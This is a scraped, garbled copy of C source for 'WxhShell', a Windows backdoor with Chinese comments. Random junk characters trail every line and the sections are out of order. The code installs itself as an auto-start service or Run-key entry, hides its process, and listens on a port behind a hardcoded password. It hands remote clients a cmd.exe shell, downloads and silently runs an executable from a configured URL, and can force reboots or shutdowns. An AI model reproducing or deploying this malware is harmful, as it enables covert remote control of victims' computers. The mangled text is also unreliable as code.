    if(Boot(SHUTDOWN)) )Z"7^ i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IjD: hR@  
    else { q0SvZw]f1  
    closesocket(wsh); 2VMau.eQ  
    ExitThread(0); aRj3TtFh  
    } }?8KFe7U  
    break; E$*I.i_m  
    } &)<]AG.vd!  
  // 获取shell {/ZB>l@D>8  
  case 's': { Hq6VwQu?  
    CmdShell(wsh); Vs\ )w>JF  
    closesocket(wsh); r'w5i1C+  
    ExitThread(0); $;"@;Lj%,  
    break; kRZ(  
  } rDm>Rm=  
  // 退出 eBtkTWx5[/  
  case 'x': { kax9RH vku  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6R dfF$f  
    CloseIt(wsh); S &cH1QZ  
    break; [ZDJs`h!`  
    } K.*zqQKlI|  
  // 离开 |M0 XLCNd_  
  case 'q': { A]Q4fD1q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5as';1^P&*  
    closesocket(wsh); oa1&9  
    WSACleanup(); B3)#Ou2  
    exit(1); 32YE%  
    break; )bPwB.}kq  
        } ,Lox?}t  
  } W>;AMun  
  } A7~)h}~   
'HPw5 L  
  // 提示信息 S3btx9y{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B~yD4^  
} ]:m*7p\uk  
  } m S!/>.1[  
!Z<Z"R/  
  return; =]U[   
} QO%>RG  
g)u2  
// shell模块句柄 %+xh  
int CmdShell(SOCKET sock) r(%#@?&  
{ L$lo5  
STARTUPINFO si; Ya304Pjd  
ZeroMemory(&si,sizeof(si)); qd!$nr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $P4hNb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ax'Dp{Q  
PROCESS_INFORMATION ProcessInfo; r$G;^  
char cmdline[]="cmd"; in(n[K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {K_YW  
  return 0; >d#B149  
} %6kD^K-  
HPtaW:J  
// 自身启动模式 %C'!L]#  
int StartFromService(void) )Ky 0q-W  
{ /HI#8  
typedef struct (O /hu3  
{ C0KP,JS&  
  DWORD ExitStatus; [G t|Qp[   
  DWORD PebBaseAddress; YC*S;q  
  DWORD AffinityMask; [rE,fR   
  DWORD BasePriority; mZMLDs:  
  ULONG UniqueProcessId; B7N?"'$i  
  ULONG InheritedFromUniqueProcessId; pz.<5  
}   PROCESS_BASIC_INFORMATION; r|?2@VE  
{#Mz4s`M  
PROCNTQSIP NtQueryInformationProcess; <P g.N  
,B!u*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }w"laZ*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^J@Y?CQl\  
-L1{0{Z  
  HANDLE             hProcess; ?}B_'NZ%  
  PROCESS_BASIC_INFORMATION pbi; #sAEIk/  
{.Nt#l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $;$_N43  
  if(NULL == hInst ) return 0; _g$6vx&  
u_zp?Nc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DQKhR sC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0m51nw~B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HQv#\Xi1  
AGPZd9  
  if (!NtQueryInformationProcess) return 0; txTDuS  
6M259*ME  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g%[lUxL  
  if(!hProcess) return 0; OC"W=[Myl  
PlTY^N6Hn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /v=MGX@r  
e @=Bl-  
  CloseHandle(hProcess); NWb,$/7T  
Jr\4x7a;`~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mhT3Fwc  
if(hProcess==NULL) return 0; * J~N  
8[2^`g  
HMODULE hMod; Z`q?pE>R  
char procName[255]; "aAzG+NM  
unsigned long cbNeeded; hZc$`V=R  
zcP_-q]1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SP5/K3t-*  
a|lcOU  
  CloseHandle(hProcess); 0alm/or  
hPD2/M  
if(strstr(procName,"services")) return 1; // 以服务启动 /m.6NVu7  
DoNbCVZ  
  return 0; // 注册表启动 3QU<vdtr  
} K`PF|=z  
1r|'n aiZ  
// 主模块 l*b3Mg  
int StartWxhshell(LPSTR lpCmdLine) >$?$&+e}  
{ 6\/C]![%  
  SOCKET wsl; V= !!;KR0  
BOOL val=TRUE; WPCaxA+l  
  int port=0; ;la(Q~#  
  struct sockaddr_in door; lUUeM\  
-~]*)&  
  if(wscfg.ws_autoins) Install(); Th'6z#h:U  
 K7 U`  
port=atoi(lpCmdLine); Ej8EQ% P  
:a[L-lr`e  
if(port<=0) port=wscfg.ws_port; GC~Tfrf=r  
;r"YZs&Xd  
  WSADATA data; UIovv%7zZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G8Ns?  
v; &-]ka  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O-}{%)[ F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ORyFE:p$  
  door.sin_family = AF_INET; G>d@lt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x.xfMM2n  
  door.sin_port = htons(port); egK,e?~  
4}gqtw:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jf~/x>Q  
closesocket(wsl); 3a"4Fn  
return 1; _U|s!60'  
} ?8)_,  
}{J<Wzw  
  if(listen(wsl,2) == INVALID_SOCKET) { g3Xq@RAJc  
closesocket(wsl); jDqe)uVvtV  
return 1; H YZ94[Ti  
} (6L[eWuTn  
  Wxhshell(wsl); 0 x4p!5  
  WSACleanup(); )apqL{u:=  
)F8G q,  
return 0; C;-9_;&  
_qR1M):yJ  
} nX7{09  
?MHVkGD  
// 以NT服务方式启动 FI`][&]V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2bPrND\P=  
{ t$m268m~  
DWORD   status = 0; Cb%?s  
  DWORD   specificError = 0xfffffff; 4@&8jZ)a  
kXFgvIpg<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b*+Od8r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T<=Ci?C v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /bjyV]N  
  serviceStatus.dwWin32ExitCode     = 0; vUk <z*  
  serviceStatus.dwServiceSpecificExitCode = 0; m-xSF]q=<  
  serviceStatus.dwCheckPoint       = 0; jeFX?]Q  
  serviceStatus.dwWaitHint       = 0; C (L1  
AcqsXBKd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ghs{B8  
  if (hServiceStatusHandle==0) return; lfba   
(j@3=-%6G  
status = GetLastError(); $!h21  
  if (status!=NO_ERROR) .]SE>3  
{ -aK_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t :B~P,r  
    serviceStatus.dwCheckPoint       = 0; 80TSE*  
    serviceStatus.dwWaitHint       = 0; +&6R(7XC  
    serviceStatus.dwWin32ExitCode     = status; )kfj+/  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;7Cb!v1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4E/Q+^?  
    return; !ba /] A/  
  } +F= j1*'&  
*p0n{F9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZCsL%(  
  serviceStatus.dwCheckPoint       = 0; $$ma1.t"  
  serviceStatus.dwWaitHint       = 0; 9#Gz2u$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FW~%xUSE5  
} 96x$Xl;  
BQmHYar  
// 处理NT服务事件,比如:启动、停止 dF$a52LS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b9b384Q1O  
{ Q}zAC2@L  
switch(fdwControl) E_ #MQ;n  
{ US3rkkgDO  
case SERVICE_CONTROL_STOP: JG\T2/b  
  serviceStatus.dwWin32ExitCode = 0; //T1e7)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ++=t|ZS U  
  serviceStatus.dwCheckPoint   = 0; @AET.qGC  
  serviceStatus.dwWaitHint     = 0; ElLDSo@WvR  
  { U\dq Mp#Wy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "O@L IR7  
  } Jm0o[4  
  return; l-4+{6lz  
case SERVICE_CONTROL_PAUSE: n3Uw6gLD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z !2-U  
  break; 8ExEhBX8  
case SERVICE_CONTROL_CONTINUE: 1o5n1 A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u By[x 0  
  break; {BB#Bh[  
case SERVICE_CONTROL_INTERROGATE: [l"|x75-  
  break; MtWzGE=?  
}; g+'=#NS}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ne>yFl"u  
} =SMI,p&  
kC:GEY<N:Q  
// 标准应用程序主函数 J" :R,w`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,n )f=q*%  
{ ;QZ}$8D6Q  
}_,1i3Rip  
// 获取操作系统版本 _OR@S%$  
OsIsNt=GetOsVer(); Z|l/6L8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); , gYbi-E  
).IB{+  
  // 从命令行安装 woI.1e5  
  if(strpbrk(lpCmdLine,"iI")) Install(); qRk<1.  
FZdZGK  
  // 下载执行文件 D=ZH? d  
if(wscfg.ws_downexe) { b{X,0a{*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)   %4  
  WinExec(wscfg.ws_filenam,SW_HIDE); F`C$F!GE  
} j_w"HiNBA  
xhq-$"B  
if(!OsIsNt) { $eqwn&$n  
// 如果时win9x,隐藏进程并且设置为注册表启动 c-s A?q#|  
HideProc(); @B e7"Fm  
StartWxhshell(lpCmdLine); Nj~3FL  
} mEh([ZnY  
else yxz)32B?  
  if(StartFromService()) <.d^jgG(j  
  // 以服务方式启动 hW~XE{<  
  StartServiceCtrlDispatcher(DispatchTable); o'#ow(X  
else nogdOGo  
  // 普通方式启动 DAvF ND$=  
  StartWxhshell(lpCmdLine); Ej;BI#gx=  
Wjf,AjL\  
return 0; Ad%3 fvn  
} L+GVB[@3Y  
(-e*xM m  
q`u^ sc  
PjxZ3O  
=========================================== ZjB]pG+  
K*"Wq:T;B  
8(jUCD  
[v%j?  
m N&G  
Q)lN7oD  
" 45 \W%8  
q$ZmR]p  
#include <stdio.h> iYPlgt/Y!  
#include <string.h> |<2g^ZK)  
#include <windows.h> #uc9eh}CWO  
#include <winsock2.h> KFuP gp  
#include <winsvc.h> m ?)k&{I  
#include <urlmon.h> &[Zg;r    
Ow3t2G  
#pragma comment (lib, "Ws2_32.lib") G*y! Q  
#pragma comment (lib, "urlmon.lib") QT<\E`v  
*mVQN1  
#define MAX_USER   100 // 最大客户端连接数 V1]QuQ{&s  
#define BUF_SOCK   200 // sock buffer Md5|j0#p  
#define KEY_BUFF   255 // 输入 buffer nD5+&M0  
,qz:(Nr  
#define REBOOT     0   // 重启 uH.1'bR?a  
#define SHUTDOWN   1   // 关机 P/ XO5`  
<0h,{28  
#define DEF_PORT   5000 // 监听端口 <_8p6{=  
<aR sogu"P  
#define REG_LEN     16   // 注册表键长度 .Xcf *$.;s  
#define SVC_LEN     80   // NT服务名长度 \r5L7y$9 h  
wV{jJyRl  
// 从dll定义API 6Qx[W>I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =cwdl7N&I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n~mP7X%wE7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zu! #   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sdr,q9+__  
V/@7XAt  
// wxhshell配置信息 }Nc Ed;  
struct WSCFG { bQ`|G(g-d  
  int ws_port;         // 监听端口 dm~Uj  
  char ws_passstr[REG_LEN]; // 口令 gK_#R]  
  int ws_autoins;       // 安装标记, 1=yes 0=no )/FEjo  
  char ws_regname[REG_LEN]; // 注册表键名 d&owS+B{48  
  char ws_svcname[REG_LEN]; // 服务名 M/5+AsT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x T{s%wE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6-t:eo9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `#c36  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bgf'Hm% r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KfkU_0R+~v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `Re{j{~s  
 oHR@*2b  
}; /$=<RUE  
T/nG\WZbZn  
// default Wxhshell configuration "*HVL  
struct WSCFG wscfg={DEF_PORT, "wj~KbT}&  
    "xuhuanlingzhe", pkEx.R)  
    1, 4%"Df1 U  
    "Wxhshell", r=cm(AHF  
    "Wxhshell", .qfU^AHA  
            "WxhShell Service", `s|^  
    "Wrsky Windows CmdShell Service", '&<saqA  
    "Please Input Your Password: ", 0o]T6  
  1, }Q-%ij2  
  "http://www.wrsky.com/wxhshell.exe", |rL#HG  
  "Wxhshell.exe" R^Y>v5jAe  
    }; 8o\KF(I  
kR]AW60OE  
// 消息定义模块 D&|HS!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G @8wv J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J}Ji /  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _BPp=(|  
char *msg_ws_ext="\n\rExit."; rL23^}+^`  
char *msg_ws_end="\n\rQuit."; 3hPp1wZd   
char *msg_ws_boot="\n\rReboot..."; eQ80Kf~  
char *msg_ws_poff="\n\rShutdown..."; /?B%,$~  
char *msg_ws_down="\n\rSave to "; .gs:.X)TG9  
4Pkl()\c  
char *msg_ws_err="\n\rErr!"; Q4B(NYEu(  
char *msg_ws_ok="\n\rOK!"; +BgUnu26  
+Cs.v.GA5  
char ExeFile[MAX_PATH]; *f k3IvAXu  
int nUser = 0; &2//\Qz  
HANDLE handles[MAX_USER]; dz,4);Mg  
int OsIsNt; 5.U4P<qS  
VX,@Gp_'m  
SERVICE_STATUS       serviceStatus; Ox^VU2K;&.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r [4dGt  
JXqwy^f  
// 函数声明 }c ,:uN  
int Install(void); >d<tcaB  
int Uninstall(void); dhmrh5Uf  
int DownloadFile(char *sURL, SOCKET wsh); nV>=n,+s"  
int Boot(int flag); ?(E?oJ)(  
void HideProc(void); CW'<Nh  
int GetOsVer(void); tvR|!N }  
int Wxhshell(SOCKET wsl); H5/w!y@  
void TalkWithClient(void *cs); XT{o ]S~nq  
int CmdShell(SOCKET sock); [9,34/i  
int StartFromService(void); {PS|q?  
int StartWxhshell(LPSTR lpCmdLine); G&@vTcF  
.v[!_bk8C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aB)G!Rm&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o>MB8[r  
^y2}C$1V  
// 数据结构和表定义 2O " ~k  
SERVICE_TABLE_ENTRY DispatchTable[] = 8c'5P  
{ R~N'5#.*M  
{wscfg.ws_svcname, NTServiceMain}, ~NB lJULS  
{NULL, NULL} 7da~+(yhr  
}; WlRaD%Q  
mL3 Q  
// 自我安装 *#c^.4$'  
int Install(void) Vh8RVFi;c  
{ (k24j*1e$  
  char svExeFile[MAX_PATH]; s,]z6L0  
  HKEY key; &U{"dJr  
  strcpy(svExeFile,ExeFile); jGFDj"Y  
g{^(EZ,  
// 如果是win9x系统,修改注册表设为自启动 X,ok3c4X  
if(!OsIsNt) { >IEc4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _2rxDd1#.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jk,}3Cr/  
  RegCloseKey(key); DP=\FG"}x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {^6<Ohe4j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0w ;#4X:m  
  RegCloseKey(key); u!9bhL`  
  return 0; U'Fc\M5l/l  
    } 4<y|SI!  
  } 1j\wvPLr  
} `!7QegJa"  
else { @2R+?2 j  
6M X4h  
// 如果是NT以上系统,安装为系统服务 c%x.cbu>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QIu!o,B  
if (schSCManager!=0) \!!1o+#1j  
{ Vho^a:Z9}W  
  SC_HANDLE schService = CreateService t0+D~F(g  
  ( <hzuPi@  
  schSCManager, _VI3b$  
  wscfg.ws_svcname, $Y<(~E$FX  
  wscfg.ws_svcdisp, VQHQvFRZ)  
  SERVICE_ALL_ACCESS, '^~3 8=FA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ky0,#ZOF  
  SERVICE_AUTO_START, A:YWXcg  
  SERVICE_ERROR_NORMAL, AW/)R"+  
  svExeFile, <G#z;]N  
  NULL, {6 brVN.V  
  NULL, HQtUNtZ  
  NULL, Ps9YP B-  
  NULL, o>oZh1/\T,  
  NULL IXt cHAgX  
  ); FN295:Iuw  
  if (schService!=0)  9Li.B1j  
  { MRL,#+VxA  
  CloseServiceHandle(schService); dX ;G [\  
  CloseServiceHandle(schSCManager); oLz9mqp2%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eKek~U&  
  strcat(svExeFile,wscfg.ws_svcname); u(P;) E"1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OCYC Dn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >? ({  
  RegCloseKey(key); TCS^nBEE  
  return 0; TM?7F2  
    } NzuH&o][  
  } 4 Q FX  
  CloseServiceHandle(schSCManager); 8I|2yvhP  
} =OU]<%  
} NJTC+`Hm  
rkC6 -9V  
return 1; LTt| "D  
} >"z&KZKI  
]6 vqgu  
// 自我卸载 I6,sN9` K  
int Uninstall(void) txW<r8  
{ 'P5|[du+  
  HKEY key; +i.b&PF'H  
(8/Qt\3jv  
if(!OsIsNt) { )XAD#GYM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pw_[{LL  
  RegDeleteValue(key,wscfg.ws_regname); /]*#+;;%  
  RegCloseKey(key); ~'2im[f J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \qh -fW; #  
  RegDeleteValue(key,wscfg.ws_regname); zO07X*Bw  
  RegCloseKey(key); 58 Rmq/6s  
  return 0; K;_.WzWD=  
  } xr\wOQ*`  
}  >o"3:/3  
} >4}2~;  
else { OY/sCx+c  
r` T(xJ!)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 63?fn~0\  
if (schSCManager!=0) HN*w(bROr  
{ (iZE}qf7 g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4x JOPu  
  if (schService!=0) ! B_?_ a  
  { jW-j+ WGSM  
  if(DeleteService(schService)!=0) {  _,2P4  
  CloseServiceHandle(schService); (mJqI)m8  
  CloseServiceHandle(schSCManager); wGC)gW  
  return 0;  } Rc8\,  
  } Ur]~>-Z  
  CloseServiceHandle(schService); c=T^)~$$  
  } Bjz\L0d  
  CloseServiceHandle(schSCManager); |ei?s1)  
} 0Up@+R2  
} icf[.  
Pb|'f(  
return 1; <4W"ne28  
} rwlV\BU  
$3! j1  
// 从指定url下载文件 A2b C5lA  
int DownloadFile(char *sURL, SOCKET wsh) "kKIVlC  
{ J(\"\Z  
  HRESULT hr; u|=G#y;3  
char seps[]= "/"; \"qXlTQ1_9  
char *token;  kQ$Q}3f  
char *file; K'%,dn  
char myURL[MAX_PATH]; pQxaT$  
char myFILE[MAX_PATH]; OH28H),}  
@$~ BU;kR  
strcpy(myURL,sURL); 8Us5Oi  
  token=strtok(myURL,seps); xkOyj`IS  
  while(token!=NULL) b^PYA_k-Xn  
  {  :XF;v  
    file=token; .*D~ .!  
  token=strtok(NULL,seps); fk P@e3  
  } T"t3e=xA  
xrO:Y!C?  
GetCurrentDirectory(MAX_PATH,myFILE); DJrE[wI  
strcat(myFILE, "\\"); :n>m">4  
strcat(myFILE, file); -zHJ#  
  send(wsh,myFILE,strlen(myFILE),0); Y{@ez  
send(wsh,"...",3,0); p0uQ>[NV0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E$f.&<>T  
  if(hr==S_OK) 1c,$D5#  
return 0; F%6al,8P  
else Yv9(8  
return 1; -sGfpLy<6  
$t-HJ<!  
} cy?u *  
(C,PGjd  
// 系统电源模块 h5x FP  
int Boot(int flag) G(|ki9^@"9  
{ r_ I7Gd  
  HANDLE hToken; &K)c*' l  
  TOKEN_PRIVILEGES tkp; N(]6pG=  
`pm6Ts{,  
  if(OsIsNt) { 0NZg[>H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >I8R[@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5>"$95D  
    tkp.PrivilegeCount = 1; [st4FaQ36  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D +N{'d?+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =c M\o{ q  
if(flag==REBOOT) { CG@ LYN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OYgD9T.8^  
  return 0; ;->(hFJt  
} 3uz@JY"mK  
else { GTNN4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QW|,_u5j  
  return 0; >"{3lDyq-  
} i(2s"Uww,  
  } BE:HO^-.1  
  else { 7\rz*  
if(flag==REBOOT) { 6^s=25>p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yK_$6EtNKj  
  return 0; cc*A/lD  
} 't{~#0d=  
else { ,sn ?V~)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \&`S~cV9  
  return 0; =m:xf&r#  
} ^0R.'XL  
} i!LEA/"V  
p2GkI/6)uu  
return 1; [DC8X P5 <  
} !=3[Bm G  
2)Grl;T]s  
// win9x进程隐藏模块 TIbiw  
void HideProc(void) X&8&NkH  
{ Fc M  
|77.Lqqy,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NGOc:>}k>  
  if ( hKernel != NULL ) |,c QJ  
  { f',n '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U$&G_&*0a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >\ y|}|?  
    FreeLibrary(hKernel); eRKuy l  
  } S}f 3b N  
ig5 d-A  
return; P$ZIKkf  
} XZD9vFj1Z  
VNBf2Va  
// 获取操作系统版本 sG[v vm  
int GetOsVer(void) E #q gt9  
{ l2vIKc  
  OSVERSIONINFO winfo; XP'<\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sio^FOTD  
  GetVersionEx(&winfo); AiKja>Fl<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n}/?nP\%  
  return 1; :,Z'/e0&  
  else Fk=Sx<TX  
  return 0; _uwM%M;  
} }N[|2n R'  
U l8G R  
// 客户端句柄模块 7iMBDkb7  
int Wxhshell(SOCKET wsl) 9'nM$ a  
{ fy]z<SPhVJ  
  SOCKET wsh; U4)x"s[CP  
  struct sockaddr_in client; 8T<LNC  
  DWORD myID; @`R#t3)8JP  
T'_#Dwmj*  
  while(nUser<MAX_USER) ;e Iqxe>  
{ qaJ$0,]H+  
  int nSize=sizeof(client); &CBW>*B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jB) RvvMU5  
  if(wsh==INVALID_SOCKET) return 1; &! i'Q;q  
ASGV3r (  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6d~[j <@2  
if(handles[nUser]==0) 8xf]zM"Q  
  closesocket(wsh); %G6Q+LMwm  
else QAGR\~  
  nUser++; ]hE%Tk-  
  } 3DjlX*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1. A@5*Q  
~dc o  
  return 0; f2h`bO  
} s Zn@ye^  
#/N;ScyUJT  
// 关闭 socket U$,-F**  
void CloseIt(SOCKET wsh) [A jY ~  
{ 7Eb | AR  
closesocket(wsh); z`]sWi F0  
nUser--; 6&oaxAp<s  
ExitThread(0); ,:[\h\5m  
}  9}-;OJe  
OQnb^fabY  
// 客户端请求句柄 DP@F-Q4  
void TalkWithClient(void *cs) `@<>"ff#F  
{ ~K$dQb])  
cQzUR^oq,  
  SOCKET wsh=(SOCKET)cs; C>NLZM T  
  char pwd[SVC_LEN]; op8[8pt%  
  char cmd[KEY_BUFF]; !)r1zSY"g  
char chr[1]; a~*wZJ  
int i,j; bU$f4J  
:<p3L!?8y  
  while (nUser < MAX_USER) { P>}OwW  
?3#L?Cq  
if(wscfg.ws_passstr) { c)`=wDi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k,,Bf-?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qs$w9I  
  //ZeroMemory(pwd,KEY_BUFF); :DG7Z  
      i=0; U{,:-R  
  while(i<SVC_LEN) { E"<-To  
f7_V ]  
  // 设置超时 0_&5S`tj  
  fd_set FdRead; H|%'$oWp  
  struct timeval TimeOut; 4e20\q_{  
  FD_ZERO(&FdRead); 1xTNrLW  
  FD_SET(wsh,&FdRead); 4k_y;$4WN  
  TimeOut.tv_sec=8; vqhu%ZyP  
  TimeOut.tv_usec=0; ()MUyW"S#`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bHRRgR`,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?Gnx!3Q  
`E2RW{$A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Lm0$o*`  
  pwd=chr[0]; 45 B |U  
  if(chr[0]==0xd || chr[0]==0xa) { /Ue_1Efa  
  pwd=0; ^k2g60]  
  break; fB= j51Lw  
  } frRO?  
  i++; =#T3p9  
    } o?| ]ciY  
6S^JmYq  
  // 如果是非法用户,关闭 socket M:oZk&cs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VYkUUp  
} [`' K.-?#  
36}&{A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pzb`M'Z?C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j:U6q,f]  
m}'!W`<  
while(1) { z\>ZgRi~n  
%rO)w?  
  ZeroMemory(cmd,KEY_BUFF); 9JO1O:W  
_gQ_ixu  
      // 自动支持客户端 telnet标准   mp8Zb&Ggb  
  j=0; p MR4]G  
  while(j<KEY_BUFF) { g#o9[su  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .\8LL,zT  
  cmd[j]=chr[0]; _+}f@&"  
  if(chr[0]==0xa || chr[0]==0xd) { -fOBM 4  
  cmd[j]=0; } wx(P3BHD  
  break; zZP&`#TAy  
  } Nb)Mh  
  j++; 7,Y+FZ  
    } .M0pb^M  
R,8T t!n  
  // 下载文件 _po5j;"_O  
  if(strstr(cmd,"http://")) { 3e1%G#fu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `:Zgq+j&  
  if(DownloadFile(cmd,wsh)) xW58B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6y|;lh''c  
  else 'rrnTd c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z9i~>k  
  } cCcJOhk|d  
  else { 7Ac.^rv5  
/!U(/  
    switch(cmd[0]) { ps*iE=D  
  (O/W`qo  
  // 帮助 Yn>FSq^Wp-  
  case '?': { ?O0,)hro  
